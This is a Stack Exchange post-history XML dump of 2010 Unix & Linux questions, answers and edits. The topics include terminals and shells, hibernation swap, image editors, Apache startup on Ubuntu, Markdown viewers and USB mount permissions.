  <row Id="8964" PostHistoryTypeId="2" PostId="4131" RevisionGUID="8afee5d6-ca28-4a91-96c3-68c999b12726" CreationDate="2010-11-16T21:53:35.137" UserId="2634" Text="A **terminal** or a **console** is a piece of hardware, using which a user can interact with an host. Basically a keyboard coupled with a text screen. Nowadays quite all terminals and consoles are &quot;virtual&quot; ones.&#xD;&#xA;&#xD;&#xA;The file that represent a terminal is, traditionally, called a **tty** file. If you look under the &quot;/dev&quot; directory of an unix system, you'll find a lot of `tty*` files connected to virtual consoles (e.g. tty1 on linux), virtual terminals (e.g. pts/0) or physical connected hardware (e.g. ttyS0 is the physical serial terminal, if any, attached on first serial port of the host).&#xD;&#xA;&#xD;&#xA;A **console** must be a piece of hardware physically connected to (or part of) the host. It has a special role in the system: it is the main point to access a system for maintenance and some special operation can be done only from a console (e.g. see single user mode). A **terminal** can be, and usually is, a remote piece of hardware.&#xD;&#xA;&#xD;&#xA;Last, but not least, a **shell** is a special program that interacts with a user through a **controlling tty** and offers, to the user, the way of launching other programs (e.g. bash, csh, tcsh).&#xD;&#xA;&#xD;&#xA;A **terminal emulator** is a program that emulates a physical terminal (e.g. xterm, gnome-terminal, minicom).&#xD;&#xA;&#xD;&#xA;So when you look to a &quot;text window&quot; on you linux system under X11, you are looking a terminal emulator, connected to a virtual terminal, identified by a tty file, inside which runs a shell." />
  <row Id="8965" PostHistoryTypeId="5" PostId="4131" RevisionGUID="8628173c-83ad-44a1-90a1-c6f453c0ae50" CreationDate="2010-11-16T22:04:17.600" UserId="2634" Comment="added 15 characters in body" Text="A **terminal** or a **console** is a piece of hardware, using which a user can interact with an host. Basically a keyboard coupled with a text screen. Nowadays quite all terminals and consoles are &quot;virtual&quot; ones.&#xD;&#xA;&#xD;&#xA;The file that represent a terminal is, traditionally, called a **tty** file. If you look under the &quot;/dev&quot; directory of an unix system, you'll find a lot of `tty*` files connected to virtual consoles (e.g. tty1 on linux), virtual terminals (e.g. pts/0) or physical connected hardware (e.g. ttyS0 is the physical serial terminal, if any, attached on first serial port of the host).&#xD;&#xA;&#xD;&#xA;A **console** must be a piece of hardware physically connected to (or part of) the host. It has a special role in the system: it is the main point to access a system for maintenance and some special operation can be done only from a console (e.g. see `single user mode`). A **terminal** can be, and usually is, a remote piece of hardware.&#xD;&#xA;&#xD;&#xA;Last, but not least, a **shell** is a special program that interacts with a user through a **controlling tty** and offers, to the user, the way of launching other programs (e.g. bash, csh, tcsh).&#xD;&#xA;&#xD;&#xA;A **terminal emulator** is a program that emulates a physical terminal (e.g. xterm, gnome-terminal, minicom).&#xD;&#xA;&#xD;&#xA;So when you look to a &quot;text window&quot; on you linux system (under X11) you are looking to: a *terminal emulator*, connected to a *virtual terminal*, identified by a *tty* file, inside which runs a *shell*." />
  <row Id="8966" PostHistoryTypeId="6" PostId="4130" RevisionGUID="6e09d038-0386-4d2d-814f-064effe17ac6" CreationDate="2010-11-16T22:12:17.697" UserId="2688" Comment="edited tags" Text="éswapàéhibernateà" />
  <row Id="8967" PostHistoryTypeId="2" PostId="4132" RevisionGUID="632cf944-60a5-4e37-ba84-070fa29d370f" CreationDate="2010-11-16T22:31:46.707" UserId="885" Text="A terminal is at the end of an electric wire, a shell is the home of turtle, tty is a strange abbreviation and a console is a kind of cabinet.&#xD;&#xA;&#xD;&#xA;Well, etymologically speaking, anyway.&#xD;&#xA;&#xD;&#xA;In unix terminology, the short answer is that&#xD;&#xA;&#xD;&#xA;* terminal = tty = text input/output environment&#xD;&#xA;* console = physical terminal&#xD;&#xA;* shell = command line interpreter&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;Console, terminal and tty are closely related. Originally, they meant a piece of equipment through which you could interact with a computer: in the early days of unix, that meant a [teleprinter](http://en.wikipedia.org/wiki/Teleprinter)-style device resembling a typewriter, sometimes called a teletypewriter, or “tty” in shorthand. The name “terminal” came from the electronic point of view, and the name “console” from the furniture point of view. Very early in unix history, electronic keyboards and displays became the norm for terminals.&#xD;&#xA;&#xD;&#xA;In unix terminology, a **tty** is a particular kind of [device file](http://en.wikipedia.org/wiki/Device_file) which implements a number of additional commands ([ioctls](http://en.wikipedia.org/wiki/Ioctl#Terminals)) beyond read and write. In its most common meaning, **terminal** is synonymous with tty. Some ttys are provided by the kernel, for example with the input coming from the keyboard and the output going to a text mode screen, or with the input and output transmitted over a serial line. Other ttys, sometimes called **pseudo-ttys**, are provided by programs called [**terminal emulators**](http://en.wikipedia.org/wiki/Terminal_emulator), such as [Xterm](http://en.wikipedia.org/wiki/Xterm) (running in the [X Window System](http://en.wikipedia.org/wiki/X_Window_System)), [Screen](http://en.wikipedia.org/wiki/Gnu_screen) (which provides a layer of isolation between a program and another terminal), [Ssh](http://en.wikipedia.org/wiki/Secure_shell) (which connects a terminal on one machine with programs on another machine), [Expect](http://en.wikipedia.org/wiki/Expect) (for scripting terminal interactions), etc.&#xD;&#xA;&#xD;&#xA;The word terminal can also have a more traditional meaning of a device through which one interacts with a computer, typically with a keyboard and display. For example an X terminal is a kind of [thin client](http://en.wikipedia.org/wiki/Thin_client), a special-purpose computer whose only purpose is to drive a keyboard, display, mouse and occasionally other human interaction peripherals, with the actual applications running on another, more powerful computer.&#xD;&#xA;&#xD;&#xA;A **console** is generally a terminal in the physical sense that is by some definition the primary terminal directly connected to a machine. The console appears to the operating system as a (kernel-implemented) tty. On some systems, such as Linux and FreeBSD, the console appears as several ttys (special key combinations switch between these ttys); just to confuse matters, the name given to each particular tty can be “console”, ”virtual console”, ”virtual terminal”, and other variations.&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;A [**shell**](http://en.wikipedia.org/wiki/Shell_%28computing%29) is the primary interface that users see when they log in, whose primary purpose is to start other programs. (I don't know whether the original metaphor is that the shell is the home environment for the user, or that the shell is what other programs are running in.)&#xD;&#xA;&#xD;&#xA;In unix circles, **shell** has specialized to mean a [command-line shell](http://en.wikipedia.org/wiki/Shell_%28computing%29#Text_.28CLI.29_shells), centered around entering the name of the application one wants to start, followed by the names of files or other objects that the application should act on, and pressing the Enter key. Other types of environments don't use the word “shell”; for example, window systems involve “[window managers](http://en.wikipedia.org/wiki/Window_manager)” and “[desktop environments](http://en.wikipedia.org/wiki/Desktop_environment)”, not a “shell”.&#xD;&#xA;&#xD;&#xA;There are many different unix shells, but the most common ones have a common syntax based on the [Bourne_shell](http://en.wikipedia.org/wiki/Bourne_shell). When discussing “**shell programming**”, the shell is almost always implied to be a Bourne-style shell.&#xD;&#xA;&#xD;&#xA;In unix system administration, a user's **shell** is the program that is invoked when they log in. Normal user accounts have a command-line shell, but users with restricted access may have a [restricted shell](http://en.wikipedia.org/wiki/Restricted_shell) or some other specific command (e.g. for file-transfer-only accounts).&#xD;&#xA;" />
  <row Id="8968" PostHistoryTypeId="2" PostId="4133" RevisionGUID="1585e8eb-cf88-4443-bb39-8a3fef5212e0" CreationDate="2010-11-16T22:39:36.307" UserId="688" Text="Is it still GIMP? Inkscape? Are they too different to compare? Does anything come close to the two? Are they more/less advanced than Photoshop?&#xD;&#xA;&#xD;&#xA;__note__: advanced = more features" />
  <row Id="8969" PostHistoryTypeId="1" PostId="4133" RevisionGUID="1585e8eb-cf88-4443-bb39-8a3fef5212e0" CreationDate="2010-11-16T22:39:36.307" UserId="688" Text="What is the most advanced FLOSS image editor?" />
  <row Id="8970" PostHistoryTypeId="3" PostId="4133" RevisionGUID="1585e8eb-cf88-4443-bb39-8a3fef5212e0" CreationDate="2010-11-16T22:39:36.307" UserId="688" Text="éimageöeditorà" />
  <row Id="8971" PostHistoryTypeId="2" PostId="4134" RevisionGUID="78576ad0-deff-475c-a6e1-3efcc4951503" CreationDate="2010-11-16T22:48:10.993" UserId="885" Text="That depends on the implementation of hibernation. Even if you restrict the question to Linux, the implementation has evolved over time.&#xD;&#xA;&#xD;&#xA;First, consider that some of the RAM is used for disk caches. This doesn't need to be moved to the swap as it can be reloaded from the disk after the system resumes. On a system with a good cost/efficiency balance, it's typical for about half of RAM being allocated to caches. (See also [Why use swap when there is more than enough RAM](http://unix.stackexchange.com/questions/2658).) Under Linux, some early implementations would store all allocated memory into the swap, but the current implementation(s?) of hibernation skip disk caches.&#xD;&#xA;&#xD;&#xA;Second, some systems compress memory as it's written to the swap, which can make the exact required amount of swap hard to predict. Some versions of Linux's hibernation support have supported compression; I don't know if current ones do.&#xD;&#xA;&#xD;&#xA;What you can generally expect if there isn't enough swap space is that hibernation will fail: the system will try to store the (useful) contents of RAM into the swap, and as soon as it detects that there isn't enough space, the hibernation attempt is aborted (typically with an error message on the console and in the system logs). As far as I know, Linux has always behaved like this (not that there's really another sensible behavior).&#xD;&#xA;" />
  <row Id="8972" PostHistoryTypeId="2" PostId="4135" RevisionGUID="4232361c-fa28-49ad-a508-9671469d677e" CreationDate="2010-11-16T23:05:51.237" UserId="885" Text="GIMP and Inkscape aren't comparable: GIMP is a [bitmap editor](http://en.wikipedia.org/wiki/Raster_graphics_editor), Inkscape is a [vector graphics editor](http://en.wikipedia.org/wiki/Vector_graphics_editor).&#xD;&#xA;&#xD;&#xA;GIMP is the uncontested leader amongst open source bitmap editors, feature-wise. It ranks closely with Photoshop. However GIMP has poor support for the [CMYK color space](http://en.wikipedia.org/wiki/CMYK_color_model), which is used by most “serious” color printers; I'm told this makes it unsuitable for many applications. As usual Wikipedia has a [comparison of raster graphics editors](http://en.wikipedia.org/wiki/Comparison_of_raster_graphics_editors), which may or may not include all important criteria.&#xD;&#xA;&#xD;&#xA;There are many different types of vector graphics. Inkscape is a leader in its field, which is two-dimensional general-purpose schemas and scalable graphics, made mainly of straight lines, simple curves and filled regions. Other programs may perform better for [CAD](http://en.wikipedia.org/wiki/Computer-aided_design), electronics schemas, geometrical constructions, state diagrams, fonts, 3D modeling, etc.&#xD;&#xA;" />
  <row Id="8973" PostHistoryTypeId="2" PostId="4136" RevisionGUID="f699ba79-6d2f-4bd3-b77d-5cfe40f5e76b" CreationDate="2010-11-16T23:34:04.410" UserId="2657" Text="Hello guys. not sure if this is a silly question...apples and oranges maybe..but...&#xD;&#xA;&#xD;&#xA;For Windows I used to download either 32 bit binaries from ASF site or 64 bit binaries from Apache lounge site (for no particular reason). So  - that was the way I new what version I have.&#xD;&#xA;&#xD;&#xA;I've switched to ubuntu (for educational purposes) and got used to compiling from source...well...you know...make..make install etc.&#xD;&#xA;&#xD;&#xA;mmmm&#xD;&#xA;&#xD;&#xA;1) So - when I compile apache server from source - what binaries do i get? 32? 64?&#xD;&#xA;&#xD;&#xA;2) Are there any benefits from having 64 bit Apache binaries? any cons?&#xD;&#xA;&#xD;&#xA;Thnaks guys:)&#xD;&#xA;" />
  <row Id="8974" PostHistoryTypeId="1" PostId="4136" RevisionGUID="f699ba79-6d2f-4bd3-b77d-5cfe40f5e76b" CreationDate="2010-11-16T23:34:04.410" UserId="2657" Text="Apache server 32 binaries vs 64 binaries? what's the difference" />
  <row Id="8975" PostHistoryTypeId="3" PostId="4136" RevisionGUID="f699ba79-6d2f-4bd3-b77d-5cfe40f5e76b" CreationDate="2010-11-16T23:34:04.410" UserId="2657" Text="éapacheà" />
  <row Id="8976" PostHistoryTypeId="2" PostId="4137" RevisionGUID="ef14fddd-0be1-4b0f-846b-a4077c8b9f20" CreationDate="2010-11-17T00:17:45.623" UserId="2376" Text="Compiling is the process of building binaries from source. The configure script and makefile will select what's appropriate for your system. (64-bit executable for a 64-bit system, 32-bit for 32-bit.)&#xD;&#xA;&#xD;&#xA;And if you have a 64-bit system, there is probably some potential for improved performance in using 64-bit binaries. For some things it could be a huge boost; I'm guessing that for Apache it's not quite so big a deal, but I'm no expert there. It certainly won't *hurt*, though, to build the appropriate binaries, and I don't see why you'd ever bother to mess with the build process to get 32-bit binaries if you have a 64-bit system." />
  <row Id="8977" PostHistoryTypeId="5" PostId="654" RevisionGUID="33833744-5451-4247-ad2b-de433d9b52dc" CreationDate="2010-11-17T00:37:26.820" UserId="305" Comment="added 2 characters in body" Text="RPM:&#xD;&#xA;&#xD;&#xA; - 'Standarized' (not there is no deb spec)&#xD;&#xA; - Used by many different distributions (but packages from one does not necessary works on another)&#xD;&#xA; - IIRC allows dependency on files not only packages&#xD;&#xA;&#xD;&#xA;DEB:&#xD;&#xA;&#xD;&#xA; - Growing popularity&#xD;&#xA; - Allows recommendations and suggestions (possibly newer RPM allows it as well)&#xD;&#xA;&#xD;&#xA;Probably the more important question is the package manager (dpkg vs. yum vs. aptitude etc.) then package format (as both are comparable)." />
  <row Id="8978" PostHistoryTypeId="2" PostId="4138" RevisionGUID="a417fdab-425a-4a89-8787-180f34898718" CreationDate="2010-11-17T05:13:07.243" UserId="2657" Text="Hey guys&#xD;&#xA;&#xD;&#xA;I'm currently learning Linux environment and decided to manually install Apache server.For educational purposes I've compiled it into:&#xD;&#xA;&#xD;&#xA;/server/apache&#xD;&#xA;&#xD;&#xA; http.conf configured correctly. It works  - I can open up a browser and navigate to localhost and I can see &quot;It works message&quot;. &#xD;&#xA;&#xD;&#xA;But how does one goes about adding apache into Ubuntu's startup so I won't have to do:&#xD;&#xA;&#xD;&#xA;    sudo /server/apache/bin/apachectl start&#xD;&#xA;&#xD;&#xA;all the time:)&#xD;&#xA;&#xD;&#xA;Can somebody explain how does one goes into adding programs to Ubuntu startup (10.10 64 bit).&#xD;&#xA;&#xD;&#xA;Thanks:)" />
  <row Id="8979" PostHistoryTypeId="1" PostId="4138" RevisionGUID="a417fdab-425a-4a89-8787-180f34898718" CreationDate="2010-11-17T05:13:07.243" UserId="2657" Text="Add apache to Ubuntu's startup" />
  <row Id="8980" PostHistoryTypeId="3" PostId="4138" RevisionGUID="a417fdab-425a-4a89-8787-180f34898718" CreationDate="2010-11-17T05:13:07.243" UserId="2657" Text="éubuntuàéapacheàéinitrdà" />
  <row Id="8981" PostHistoryTypeId="2" PostId="4139" RevisionGUID="7fdc6fa5-a821-4223-8493-612e6630165d" CreationDate="2010-11-17T05:26:49.810" UserId="250" Text="[Here][1] is a good resource, quite close to what you ask for.&#xD;&#xA;Basically to make apache2 start automatically you need to run&#xD;&#xA;&#xD;&#xA;    update-rc.d apache2 defaults&#xD;&#xA;&#xD;&#xA;This will make the startup script start the service located in `/etc/init.d/apache2` after booting up. Beforehand, you need to make an init script and put it in `/etc/init.d/`. In your case&#xD;&#xA;&#xD;&#xA;    ln -s /server/apache/bin/apachectl /etc/init.d/apache2&#xD;&#xA;&#xD;&#xA;may be good enough.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.debuntu.org/how-to-manage-services-with-update-rc.d" />
  <row Id="8982" PostHistoryTypeId="2" PostId="4140" RevisionGUID="bf728b39-8411-44c8-88b0-2c63a7263c2d" CreationDate="2010-11-17T06:52:39.437" UserId="1026" Text="I found a file formatted with Markdown. Could you guys suggest what viewer that I could use to view this type of files? Hopefully one without gui (if it's possible)" />
  <row Id="8983" PostHistoryTypeId="1" PostId="4140" RevisionGUID="bf728b39-8411-44c8-88b0-2c63a7263c2d" CreationDate="2010-11-17T06:52:39.437" UserId="1026" Text="Markdown Viewer" />
  <row Id="8984" PostHistoryTypeId="3" PostId="4140" RevisionGUID="bf728b39-8411-44c8-88b0-2c63a7263c2d" CreationDate="2010-11-17T06:52:39.437" UserId="1026" Text="écommandölineàéslackwareà" />
  <row Id="8985" PostHistoryTypeId="2" PostId="4141" RevisionGUID="beddf582-29b0-400f-a08b-0f6272ae27c8" CreationDate="2010-11-17T07:28:57.697" UserId="1207" Text="The following website provides a tool that will translate markdown into HTML:&#xD;&#xA;&#xD;&#xA;http://daringfireball.net/projects/markdown/&#xD;&#xA;&#xD;&#xA;Once you convert the file to HTML, there are a number of command line tools to use to view the file.  Using a test file that contains markdown formatted-text, I found the following worked nicely.&#xD;&#xA;&#xD;&#xA;    $ wget http://daringfireball.net/projects/downloads/Markdown_1.0.1.zip&#xD;&#xA;    $ unzip Markdown_1.0.1.zip&#xD;&#xA;    $ cd Markdown_1.0.1/&#xD;&#xA;    $ ./Markdown.pl ~/testfile.markdown | html2text&#xD;&#xA;&#xD;&#xA;[html2text][1] is one of many tools you can use to view html formatted text from the command line.  You could also use [lynx][2], elinks.&#xD;&#xA;&#xD;&#xA;All of these tools should be available for slackware. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.mbayer.de/html2text/&#xD;&#xA;  [2]: http://lynx.browser.org/" />
  <row Id="8986" PostHistoryTypeId="5" PostId="4141" RevisionGUID="9e738a45-5c61-4860-9409-ec1d80adf54d" CreationDate="2010-11-17T07:39:23.533" UserId="1207" Comment="Added example using lynx and information about emacs option" Text="The following website provides a tool that will translate markdown into HTML:&#xD;&#xA;&#xD;&#xA;http://daringfireball.net/projects/markdown/&#xD;&#xA;&#xD;&#xA;Once you convert the file to HTML, there are a number of command line tools to use to view the file.  Using a test file that contains markdown formatted-text, I found the following worked nicely.&#xD;&#xA;&#xD;&#xA;    $ wget http://daringfireball.net/projects/downloads/Markdown_1.0.1.zip&#xD;&#xA;    $ unzip Markdown_1.0.1.zip&#xD;&#xA;    $ cd Markdown_1.0.1/&#xD;&#xA;    $ ./Markdown.pl ~/testfile.markdown | html2text&#xD;&#xA;&#xD;&#xA;[html2text][1] is one of many tools you can use to view html formatted text from the command line.  Another option, if you want slightly nicer output would be to use [lynx][2]:&#xD;&#xA;&#xD;&#xA;    $ ./Markdown.pl ~/testfile.markdown | lynx -stdin&#xD;&#xA;&#xD;&#xA;If you are an emacs user, someone has written a mode for markdown which is available here: http://jblevins.org/projects/markdown-mode/.  This provides nice syntax highlighting as can be seen in the screenshot on that website.&#xD;&#xA;&#xD;&#xA;All of these tools should be available for slackware. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.mbayer.de/html2text/&#xD;&#xA;  [2]: http://lynx.browser.org/" />
  <row Id="8987" PostHistoryTypeId="5" PostId="163" RevisionGUID="14f900a3-7c1b-4533-937c-c8c006c25cc2" CreationDate="2010-11-17T08:53:50.813" UserId="184" Comment="added 2 characters in body; edited tags" Text="Does Darwin have any features that are specific to it?  Do other Unixe(s) have features that Darwin lacks?" />
  <row Id="8988" PostHistoryTypeId="6" PostId="163" RevisionGUID="14f900a3-7c1b-4533-937c-c8c006c25cc2" CreationDate="2010-11-17T08:53:50.813" UserId="184" Comment="added 2 characters in body; edited tags" Text="éosxàéunixà" />
  <row Id="8989" PostHistoryTypeId="5" PostId="4138" RevisionGUID="13e1869e-dea3-4309-b969-54ee3cb02d60" CreationDate="2010-11-17T10:30:24.443" UserId="73" Comment="added 6 characters in body; edited title; edited tags" Text="I'm currently learning the Linux environment, and decided to manually install the Apache server. For educational purposes, I've compiled it into:&#xD;&#xA;&#xD;&#xA;    /server/apache&#xD;&#xA;&#xD;&#xA;The `http.conf` location is configured correctly. It works -- I can open up a browser and navigate to `localhost` and see the &quot;It works&quot; message. But how does one goes about adding Apache into Ubuntu's startup so I won't have to do:&#xD;&#xA;&#xD;&#xA;    sudo /server/apache/bin/apachectl start&#xD;&#xA;&#xD;&#xA;all the time? Can somebody explain how does one goes into adding programs to the Ubuntu startup (10.10 64 bit)?&#xD;&#xA;" />
  <row Id="8990" PostHistoryTypeId="4" PostId="4138" RevisionGUID="13e1869e-dea3-4309-b969-54ee3cb02d60" CreationDate="2010-11-17T10:30:24.443" UserId="73" Comment="added 6 characters in body; edited title; edited tags" Text="Add Apache to Ubuntu's startup" />
  <row Id="8991" PostHistoryTypeId="6" PostId="4138" RevisionGUID="13e1869e-dea3-4309-b969-54ee3cb02d60" CreationDate="2010-11-17T10:30:24.443" UserId="73" Comment="added 6 characters in body; edited title; edited tags" Text="éubuntuàéinitrdà" />
  <row Id="8992" PostHistoryTypeId="2" PostId="4142" RevisionGUID="1df4cece-152b-46ed-8a16-9f1d7c0e267e" CreationDate="2010-11-17T11:06:23.260" UserId="281" Text="I am currently working on an application called DownMarker which does this. You can find the source in a mercurial repository [here][1].&#xD;&#xA;&#xD;&#xA;Caveat: It is far from finished and only occasionally tested on linux/mono. Last test I did was on Mono 2.6. You will need a recent version of mercurial to clone the repository, and MonoDevelop to compile the application.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://wcoenen.name/hg/downmarker" />
  <row Id="8993" PostHistoryTypeId="5" PostId="4142" RevisionGUID="07e2d225-afca-48c6-aa68-2274b4c37aa8" CreationDate="2010-11-17T11:20:21.087" UserId="281" Comment="added 3 characters in body; added 57 characters in body" Text="I know you said you preferred a non-GUI application, but I am currently working on a GUI application called DownMarker which does this. You can find the source in a mercurial repository [here][1].&#xD;&#xA;&#xD;&#xA;Caveat: It is far from finished and only occasionally tested on linux/mono. Last test I did was on Mono 2.6. You will need a recent version of mercurial to clone the repository, and MonoDevelop to compile the application.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://wcoenen.name/hg/downmarker" />
  <row Id="8994" PostHistoryTypeId="5" PostId="654" RevisionGUID="d1797aa1-46f8-4f29-8579-1632139ea956" CreationDate="2010-11-17T11:25:48.447" UserId="73" Comment="added 1 characters in body" Text="RPM:&#xD;&#xA;&#xD;&#xA; - 'Standardized' (not there is no deb spec)&#xD;&#xA; - Used by many different distributions (but packages from one does not necessary works on another)&#xD;&#xA; - IIRC allows dependency on files not only packages&#xD;&#xA;&#xD;&#xA;DEB:&#xD;&#xA;&#xD;&#xA; - Growing popularity&#xD;&#xA; - Allows recommendations and suggestions (possibly newer RPM allows it as well)&#xD;&#xA;&#xD;&#xA;Probably the more important question is the package manager (dpkg vs. yum vs. aptitude etc.) then package format (as both are comparable)." />
  <row Id="8995" PostHistoryTypeId="5" PostId="4142" RevisionGUID="f8807cd1-40ba-41df-b110-b4cd5f48cd8a" CreationDate="2010-11-17T11:55:58.507" UserId="281" Comment="added 159 characters in body" Text="I know you said you preferred a non-GUI application, but I am currently working on a GUI application called DownMarker which does this. You can find the source in a mercurial repository [here][1]. You can find a stand-alone executable to run with mono [here][2].&#xD;&#xA;&#xD;&#xA;Caveat: It is far from finished and only occasionally tested on linux/mono. Last test I did was on Mono 2.6. If you want to build it yourself will need a recent version of mercurial to clone the repository, and MonoDevelop to compile the application.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://wcoenen.name/hg/downmarker&#xD;&#xA;  [2]: http://dl.dropbox.com/u/119154/permalink/downmarker.exe" />
  <row Id="8996" PostHistoryTypeId="2" PostId="4143" RevisionGUID="6daedbdc-5c00-4139-9dd7-c2a0f7e62d9d" CreationDate="2010-11-17T12:09:30.790" UserId="2685" Text="Take a look at the [`history-expand-line`](http://www.gnu.org/software/bash/manual/html_node/Miscellaneous-Commands.html) command, bound to `Ctrl+^` by default. It will expand the line in-place." />
  <row Id="8997" PostHistoryTypeId="5" PostId="4143" RevisionGUID="ef356923-115c-4617-926a-c93f5c5890ac" CreationDate="2010-11-17T12:14:35.823" UserId="2685" Comment="Alt, not Ctrl!" Text="Take a look at the [`history-expand-line`](http://www.gnu.org/software/bash/manual/html_node/Miscellaneous-Commands.html) command, bound to `Alt+^` by default. It will expand the line in-place which you can then edit." />
  <row Id="8998" PostHistoryTypeId="2" PostId="4144" RevisionGUID="bdd1ccce-7fcc-4356-b8e8-8d1c1d4b5ef0" CreationDate="2010-11-17T13:09:39.350" UserId="2699" Text="Hi, does anyone have the following problem?&#xD;&#xA;I have an ubuntu box at work and also one at home.&#xD;&#xA;I always copy folders/files to/from an usb disk to/from my boxes.&#xD;&#xA;I have to change permissions of folders/files copied to boxes.&#xD;&#xA;The  permissions of folders and files are 700.&#xD;&#xA;It is annoying to 'chmod 755 or 644' to folders/files after every transfer.&#xD;&#xA;I found that the usb disk mounted on /media has undesirable permissions.&#xD;&#xA;Can that be changed?  The usb disk has vfat or ntfs filesystem.&#xD;&#xA;Any idea?" />
  <row Id="8999" PostHistoryTypeId="1" PostId="4144" RevisionGUID="bdd1ccce-7fcc-4356-b8e8-8d1c1d4b5ef0" CreationDate="2010-11-17T13:09:39.350" UserId="2699" Text="How to have correct permissions of files from usb disks?" />
  <row Id="9000" PostHistoryTypeId="3" PostId="4144" RevisionGUID="bdd1ccce-7fcc-4356-b8e8-8d1c1d4b5ef0" CreationDate="2010-11-17T13:09:39.350" UserId="2699" Text="éubuntuà" />
  <row Id="9001" PostHistoryTypeId="2" PostId="4145" RevisionGUID="02f21f44-ceb3-4454-b100-14b17572801e" CreationDate="2010-11-17T13:27:31.757" UserId="1339" Text="vfat and ntfs filesystem don't contain any information to represent your unix file permissions. It will not be possible to set some specific permissions to the files and keep them.&#xD;&#xA;&#xD;&#xA;It is possible to set the initial permissions to a specific value and use this also for the creation of new files. This is called `umask`  and supported by the `mount` command.&#xD;&#xA;You can also differentiate between files and directories. Here are some lines of `man mount`:&#xD;&#xA;&#xD;&#xA;    umask=value&#xD;&#xA;           Set  the  umask  (the  bitmask  of  the permissions that are not&#xD;&#xA;           present). The default is the umask of the current process.   The&#xD;&#xA;           value is given in octal.&#xD;&#xA;    dmask=value&#xD;&#xA;           Set  the  umask applied to directories only.  The default is the&#xD;&#xA;           umask of the current process.  The value is given in octal.&#xD;&#xA;    fmask=value&#xD;&#xA;           Set the umask applied to regular files only.  The default is the&#xD;&#xA;           umask of the current process.  The value is given in octal.&#xD;&#xA;&#xD;&#xA;Use this in the option column in your `/etc/fstab` file, for example:&#xD;&#xA;&#xD;&#xA;    # &lt;file system&gt; &lt;mount point&gt;   &lt;type&gt;  &lt;options&gt;                                                        &lt;dump&gt;  &lt;pass&gt;&#xD;&#xA;    /dev/hda1       /mnt/usb      auto    rw,suid,dev,exec,auto,user,async,umask=755      0       1&#xD;&#xA;&#xD;&#xA;" />
  <row Id="9002" PostHistoryTypeId="5" PostId="4144" RevisionGUID="fc7c8a6c-01de-421b-9127-3b31f3db5f04" CreationDate="2010-11-17T13:28:23.270" UserId="1339" Comment="added 6 characters in body; edited tags" Text="Hi, does anyone have the following problem?&#xD;&#xA;&#xD;&#xA;I have an ubuntu box at work and also one at home.&#xD;&#xA;I always copy folders/files to/from an usb disk to/from my boxes.&#xD;&#xA;I have to change permissions of folders/files copied to boxes.&#xD;&#xA;The  permissions of folders and files are 700.&#xD;&#xA;&#xD;&#xA;It is annoying to 'chmod 755 or 644' to folders/files after every transfer.&#xD;&#xA;I found that the usb disk mounted on /media has undesirable permissions.&#xD;&#xA;&#xD;&#xA;Can that be changed?  The usb disk has vfat or ntfs filesystem.&#xD;&#xA;Any idea?" />
  <row Id="9003" PostHistoryTypeId="6" PostId="4144" RevisionGUID="fc7c8a6c-01de-421b-9127-3b31f3db5f04" CreationDate="2010-11-17T13:28:23.270" UserId="1339" Comment="added 6 characters in body; edited tags" Text="éubuntuàémountàéumaskà" />
  <row Id="9004" PostHistoryTypeId="2" PostId="4146" RevisionGUID="3e94190e-2d99-4936-9259-f8c0d03e65d8" CreationDate="2010-11-17T13:49:33.883" UserId="80" Text="I know some filesystems present themselves through Fuse and I was wondering about the pros and cons to this approach." />
  <row Id="9005" PostHistoryTypeId="1" PostId="4146" RevisionGUID="3e94190e-2d99-4936-9259-f8c0d03e65d8" CreationDate="2010-11-17T13:49:33.883" UserId="80" Text="What are the benefits and downsides to use FuseFS filesystems?" />
  <row Id="9006" PostHistoryTypeId="3" PostId="4146" RevisionGUID="3e94190e-2d99-4936-9259-f8c0d03e65d8" CreationDate="2010-11-17T13:49:33.883" UserId="80" Text="éfilesystemsàéfuseà" />
  <row Id="9007" PostHistoryTypeId="2" PostId="4147" RevisionGUID="6b5d3c4f-8aac-4377-a3e0-3888fcd4c452" CreationDate="2010-11-17T13:51:50.183" UserId="80" Text="On AIX to get LDAP authentication working it has wanted to store the LDAP SSL certificate's trusted root in a cert.db7 file.  Mozilla stopped supporting it in NSS (Netscape Security Services) a while back.  Cognos (also from IBM) used to use cert.db7 but in the latest versions switched to cert.db8 which is easy to make just using Firefox.  &#xD;&#xA;&#xD;&#xA;Anyone have good resources for making a cert.db7 file?  Converters?  " />
  <row Id="9008" PostHistoryTypeId="1" PostId="4147" RevisionGUID="6b5d3c4f-8aac-4377-a3e0-3888fcd4c452" CreationDate="2010-11-17T13:51:50.183" UserId="80" Text="Resource needed to manage cert.db7 files for AIX" />
  <row Id="9009" PostHistoryTypeId="3" PostId="4147" RevisionGUID="6b5d3c4f-8aac-4377-a3e0-3888fcd4c452" CreationDate="2010-11-17T13:51:50.183" UserId="80" Text="éldapàéaixàésslàécertûdb7àécertûdb8à" />
  <row Id="9010" PostHistoryTypeId="2" PostId="4148" RevisionGUID="fc64e0e1-db16-4534-99a9-4d565e4c802e" CreationDate="2010-11-17T14:06:17.760" UserId="2700" Text="I'm using SSH (with -X specified) from a Ubuntu box to a RHEL4 box and running GVim. It opens as expected in my local X, but the copy and paste via select doesn't work. I cannot select text in GVim and paste in a local window, nor can I select text from a local window and paste in GVim. This works, however, when I SSH (with -X specified) to a different RHEL4 box.&#xD;&#xA;&#xD;&#xA;Is there something I need to install on the remote machine?&#xD;&#xA;&#xD;&#xA;I am running Parcellite 0.9.2 on the local box, but closing it doesn't make the problem go away, and it is not interfering with the other box.&#xD;&#xA;" />
  <row Id="9011" PostHistoryTypeId="1" PostId="4148" RevisionGUID="fc64e0e1-db16-4534-99a9-4d565e4c802e" CreationDate="2010-11-17T14:06:17.760" UserId="2700" Text="GVim via SSH -X does not copy paste on selection" />
  <row Id="9012" PostHistoryTypeId="3" PostId="4148" RevisionGUID="fc64e0e1-db16-4534-99a9-4d565e4c802e" CreationDate="2010-11-17T14:06:17.760" UserId="2700" Text="ésshàévimàécopyöpasteà" />
